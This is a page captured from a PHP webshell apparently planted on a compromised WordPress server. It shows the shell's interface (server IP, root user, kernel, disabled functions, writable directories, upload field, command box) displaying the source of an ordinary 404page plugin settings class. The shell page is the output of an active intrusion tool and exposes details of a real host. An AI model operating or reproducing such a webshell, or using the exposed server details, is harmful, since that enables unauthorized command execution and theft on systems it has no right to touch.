403Webshell
Server IP : 65.109.86.83  /  Your IP : 216.73.217.84
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/404page/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/404page/inc/class-404page-settings.php
<?php

/**
 * The 404page settings plugin class
 *
 * @since  7
 *
 * taken from 404page core class and outsourced to a seperate class in version 7
 */
 
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * The settings plugin class
 */
if ( !class_exists( 'PP_404Page_Settings' ) ) {
  
  class PP_404Page_Settings extends PPF09_Settings {
    
    /**
	   * sanitize settings
     *
     * @since 11.0.0
     * @access public
     */
    public function sanitize_settings() {
      
      // Set page ID to -1 if the page does not exist or is not published
      
      if ( $this->get( 'page_id' ) != 0 ) {
        
       $page = get_post( $this->get( 'page_id' ) );
        
        if ( !$page || $page->post_status != 'publish' ) {
          
          $this->set( 'page_id', -1 );
          
        } 
        
      }
      
    }
    
    
    /**
     * set the method
     *
     * @since  7
     * @access public
     */
    public function set_method() {
      
      if ( defined( 'ICL_SITEPRESS_VERSION' ) ) {
        
        // WPML is active
        $this->set('method', 'CMP' );
        
      } else {
        
        // we dont' need to set this here, because this is set in load()
        
      }
      
    }    

    
  }
  
}

Youez - 2016 - github.com/yon3zu
LinuXploit